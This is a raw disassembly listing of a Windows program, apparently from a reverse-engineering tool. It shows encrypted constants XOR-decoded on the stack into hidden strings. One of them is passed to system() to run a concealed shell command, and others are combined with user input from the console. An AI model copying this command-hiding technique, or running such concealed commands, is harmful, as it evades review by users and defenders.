lea r8, [rbp + 0x1510]
movzx edx, byte [rbp + 0xe]
lea rcx, [rbp + 0x1530]
call fcn.140041010
nop
lea rax, [rbp + 0x1d0]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140037750
mov r8, rbx
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1530]
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1550]
call fcn.14000e400
nop
lea r8, [0x140127090]
lea rdx, [rbp + 0x1550]
lea rcx, [rbp + 0x1ea8]
call fcn.1400404b0
nop
mov r8d, 3
lea rdx, [0x140107490]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1570]
call fcn.14000e400
nop
mov rdx, rdi
lea rcx, [rbp + 0x1570]
call fcn.14002ed50
nop
lea rcx, [rbp + 0x1ea8]
call fcn.140007980
nop
lea rcx, [rbp + 0x1550]
call fcn.140007980
nop
lea rcx, [rbp + 0x1530]
call fcn.140007980
nop
lea rcx, [rbp + 0x1510]
call fcn.140007980
nop
lea rcx, [rbp + 0x1e88]
call fcn.140007980
nop
lea rcx, [rbp + 0x14f0]
jmp 0x140037e8a
lea rax, [rbp + 0x1e68]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x8c], al
mov byte [rbp + 0x8d], al
mov byte [rbp + 0x8e], al
mov byte [rbp + 0x8f], al
mov byte [rbp + 0x90], al
mov byte [rbp + 0x91], al
mov byte [rbp + 0x92], al
mov byte [rbp + 0x93], al
mov byte [rbp + 0xd], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs r12, 0xa1d9c6d948651de2
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs r13, 0xcfbe86046b384af0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rsi, 0x4135825f8a300bdf
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xfe0], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xfe8], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0xff0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0xff8], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movabs rax, 0x9098e91514c6e4f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
movabs rax, 0x280804976705f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4100], rax
movabs rbx, 0x8fbdb4b62b167486
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4108], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4110], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4118], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4120], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4128], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4130], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4138], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4140], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4148], rax
movabs r14, 0xecd10dbde1fb935b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4150], rax
movabs r15, 0x8508d18860640c70
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4158], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4160], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4168], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4170], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4178], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4100]
vmovdqa ymmword [rbp + 0xfc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xfe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4120]
vmovdqa ymmword [rbp + 0xfe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1000]
vpxor ymm1, ymm0, ymmword [rbp + 0x4140]
vmovdqa ymmword [rbp + 0x1000], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1020]
vpxor ymm1, ymm0, ymmword [rbp + 0x4160]
vmovdqa ymmword [rbp + 0x1020], ymm1
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x1e68]
vzeroupper
call fcn.140007250
mov rdi, rax
movabs rax, 0x498aad543b67fb39
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1080], rcx
movabs rax, 0xc09dddc54e6518c3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1088], rcx
movabs rax, 0x89b69820642041ff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1090], rcx
movabs rax, 0x572d8355813b2288
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1098], rax
movabs rax, 0x4a82320562ff532d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10a0], rax
movabs rcx, 0x2347e3d20914cdaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x10a8], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c00], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c08], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c10], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c18], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3c28], rax
vmovdqu ymm0, ymmword [rbp + 0x1080]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c00]
vmovdqa ymmword [rbp + 0x1080], ymm1
vmovdqa xmm0, xmmword [rbp + 0x10a0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3c20]
vmovdqa xmmword [rbp + 0x10a0], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x1470]
vzeroupper
call fcn.1400112d0
nop
movabs rax, 0x69e2d9133562d739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x69e2d9335502b719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x39b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x39b8], rax
movdqa xmm0, xmmword [rbp + 0x330]
pxor xmm0, xmmword [rbp + 0x39b0]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [0x1401284a0]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x1e28]
call fcn.14003f9f0
nop
mov r8d, 1
lea rdx, [0x140107f74]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1450]
call fcn.14000e400
nop
lea r9, [rbp + 0x1470]
lea r8, [rbp + 0x1450]
movzx edx, byte [rbp + 0xd]
lea rcx, [rbp + 0x1430]
call fcn.140041010
nop
lea rax, [rbp + 0x1080]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140037dc3
mov r8, rbx
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x1430]
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.14000e400
nop
lea r8, [0x140127090]
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x1e48]
call fcn.1400404b0
nop
mov r8d, 3
lea rdx, [0x140107490]
mov rcx, rax
call fcn.14000e5e0
mov rdx, rax
lea rcx, [rbp + 0x14d0]
call fcn.14000e400
nop
mov rdx, rdi
lea rcx, [rbp + 0x14d0]
call fcn.14002ed50
nop
lea rcx, [rbp + 0x1e48]
call fcn.140007980
nop
lea rcx, [rbp + 0x1410]
call fcn.140007980
nop
lea rcx, [rbp + 0x1430]
call fcn.140007980
nop
lea rcx, [rbp + 0x1450]
call fcn.140007980
nop
lea rcx, [rbp + 0x1e28]
call fcn.140007980
nop
lea rcx, [rbp + 0x1470]
call fcn.140007980
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x140128366], 0
jne 0x140039be0
xor eax, eax
mov byte [rbp + 0x94], al
mov byte [rbp + 0x95], al
mov byte [rbp + 0x96], al
movabs rax, 0x27ad9a131046f854
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0xba8889e5675937a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
movabs rax, 0xd1eaa5200a1c69b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x990], rax
movabs rax, 0x325eed30e2526e9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x998], rax
movabs rdi, 0x69e2d9335502b719
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3d80], rax
movabs rbx, 0x8fbdb4b62b167486
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d88], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d90], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d98], rax
vmovdqu ymm0, ymmword [rbp + 0x980]
vpxor ymm1, ymm0, ymmword [rbp + 0x3d80]
vmovdqa ymmword [rbp + 0x980], ymm1
lea rcx, [rbp + 0x980]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x97], al
mov byte [rbp + 0x98], al
mov byte [rbp + 0x99], al
lea rdx, [0x14002e570]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x5b2f96e6a599713
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1280], rcx
movabs rax, 0xfbd3d1964e6515e3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1288], rcx
movabs rax, 0xc0a5830a3d7557f6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1290], rcx
movabs rax, 0x133b9e5e873107c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1298], rax
movabs rdx, 0x4a82123f1b9a180d
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x12a0], rax
movabs rcx, 0x2347e3d20914cdaa
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x12a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3c40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3c48], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c50], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c58], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3c60], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3c68], rax
vmovdqu ymm0, ymmword [rbp + 0x1280]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c40]
vmovdqa ymmword [rbp + 0x1280], ymm1
vmovdqa xmm0, xmmword [rbp + 0x12a0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3c60]
vmovdqa xmmword [rbp + 0x12a0], xmm0
lea rdx, [rbp + 0x1280]
mov rcx, r8
vzeroupper
call fcn.14000baf0
lea rdx, [0x14000bce0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov byte [rbp + 0x9a], al
mov byte [rbp + 0x9b], al
mov byte [rbp + 0x9c], al
lea rdx, [0x14002e5d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x49d8f94a30499713
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x340], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x348], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x38d0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38d8], rax
movdqa xmm0, xmmword [rbp + 0x340]
pxor xmm0, xmmword [rbp + 0x38d0]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
mov rcx, r8
call fcn.14000baf0
lea rdx, [rbp + 0x2c48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400412f0
lea rdx, [rbp + 0x2c48]
lea rcx, [rbp + 0x1e08]
call fcn.14000e430
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.140087c60
cmp byte [rbp + 0x30e0], 0
jne 0x140038b1b
lea rax, [rbp + 0x1de8]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdc0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xdc8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xdd0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xdd8], rax
movabs rax, 0x78b4200c29a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xde0], rax
movabs rax, 0x1b7fd2e13027ff9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xde8], rax
movabs rax, 0x3313f4ee23e6d9d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdf0], rax
movabs rax, 0xd96d8b49e3061cab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdf8], rax
movabs rax, 0xc156d2be2eb41834
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe00], rax
movabs rax, 0xade382af726101f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe08], rax
movabs rax, 0xdc8e38e9d39cda2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe10], rax
movabs rax, 0xd77d88fa2f324123
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe18], rax
movabs rax, 0x88a6f2c149120f16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe20], rax
movabs rax, 0x94e50dcdf798092a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe28], rax
movabs rax, 0x818fc43556cec199
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe30], rax
movabs rax, 0x280804976705c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe38], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movabs r13, 0xe0d7f66544552593
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34b0], rax
movabs r12, 0x325eed30e2526ea8
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x34f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3500], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3508], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3510], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3518], rax
vmovdqu ymm0, ymmword [rbp + 0xdc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34a0]
vmovdqa ymmword [rbp + 0xdc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xde0]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0xde0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe00]
vpxor ymm1, ymm0, ymmword [rbp + 0x34e0]
vmovdqa ymmword [rbp + 0xe00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3500]
vmovdqa ymmword [rbp + 0xe20], ymm1
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x1de8]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x390], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x398], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x39a0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x39a8], rax
movdqa xmm0, xmmword [rbp + 0x390]
pxor xmm0, xmmword [rbp + 0x39a0]
movdqa xmmword [rbp + 0x390], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3990], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3998], rax
movdqa xmm0, xmmword [rbp + 0x380]
pxor xmm0, xmmword [rbp + 0x3990]
movdqa xmmword [rbp + 0x380], xmm0
lea rcx, [rbp + 0x1c28]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x370], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x378], rcx
movabs r14, 0x69e2d9335502b719
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x3a20], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a28], rax
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0x3a20]
movdqa xmmword [rbp + 0x370], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs r15, 0x8fbdb4b62b3654bc
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3970], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3978], rax
movdqa xmm0, xmmword [rbp + 0x360]
pxor xmm0, xmmword [rbp + 0x3970]
movdqa xmmword [rbp + 0x360], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x1c48]
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9c0], rcx
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9c8], rcx
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9d0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x9d8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3520], rax
movabs rcx, 0x8fbdb4b62b167486
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3528], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3530], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3538], rax
vmovdqu ymm0, ymmword [rbp + 0x9c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3520]
vmovdqa ymmword [rbp + 0x9c0], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3960], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3968], rax
vmovdqa xmm0, xmmword [rbp + 0x350]
vpxor xmm0, xmm0, xmmword [rbp + 0x3960]
vmovdqa xmmword [rbp + 0x350], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a0], rax
movabs rax, 0xe6dcf296446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9a8], rax
movabs rax, 0x89b09929643140ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b0], rax
movabs rax, 0x325eed30c27254c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0x9a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0x9a0], ymm1
lea r8, [0x140127090]
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x1c68]
vzeroupper
call fcn.14003f9f0
nop
lea r8, [rbp + 0x350]
mov rdx, rax
lea rcx, [rbp + 0x1c88]
call fcn.14003fb50
nop
lea r8, [0x1401284a0]
mov rdx, rax
lea rcx, [rbp + 0x1ca8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x9c0]
mov rdx, rax
lea rcx, [rbp + 0x1cc8]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1ce8]
call fcn.140040490
nop
lea r8, [rbp + 0x360]
mov rdx, rax
lea rcx, [rbp + 0x1d08]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x1d28]
call fcn.1400404b0
nop
lea r8, [rbp + 0x370]
mov rdx, rax
lea rcx, [rbp + 0x1d48]
call fcn.14003fb50
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1d68]
call fcn.140040490
nop
lea r8, [rbp + 0x380]
mov rdx, rax
lea rcx, [rbp + 0x1fe8]
call fcn.14003fb50
nop
lea r8, [rbp + 0x30e8]
mov rdx, rax
lea rcx, [rbp + 0x1da8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x390]
mov rdx, rax
lea rcx, [rbp + 0x1dc8]
call fcn.14003fb50
nop
mov rdx, rsi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x1da8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1fe8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d68]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d48]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d28]
call fcn.140007240
nop
lea rcx, [rbp + 0x1d08]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ce8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1cc8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ca8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c88]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c68]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c48]
call fcn.140007240
nop
lea rcx, [rbp + 0x1c28]
call fcn.140007240
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0x108
lea rcx, [rbp + 0x3370]
call fcn.140004530
xor eax, eax
mov byte [rbp + 0x9d], al
mov byte [rbp + 0x9e], al
mov byte [rbp + 0x9f], al
movabs rax, 0x1dcca0563e5e8d5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x8fbdb4b62b1600fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3950], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3958], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
pxor xmm0, xmmword [rbp + 0x3950]
movdqa xmmword [rbp + 0x3a0], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x3370]
call fcn.14003ed20
nop
lea rdx, [rbp + 0x2c48]
lea rcx, [rbp + 0x3370]
call fcn.14000bcc0
lea rcx, [rbp + 0x3370]
call fcn.140007090
lea rcx, [rbp + 0x2c48]
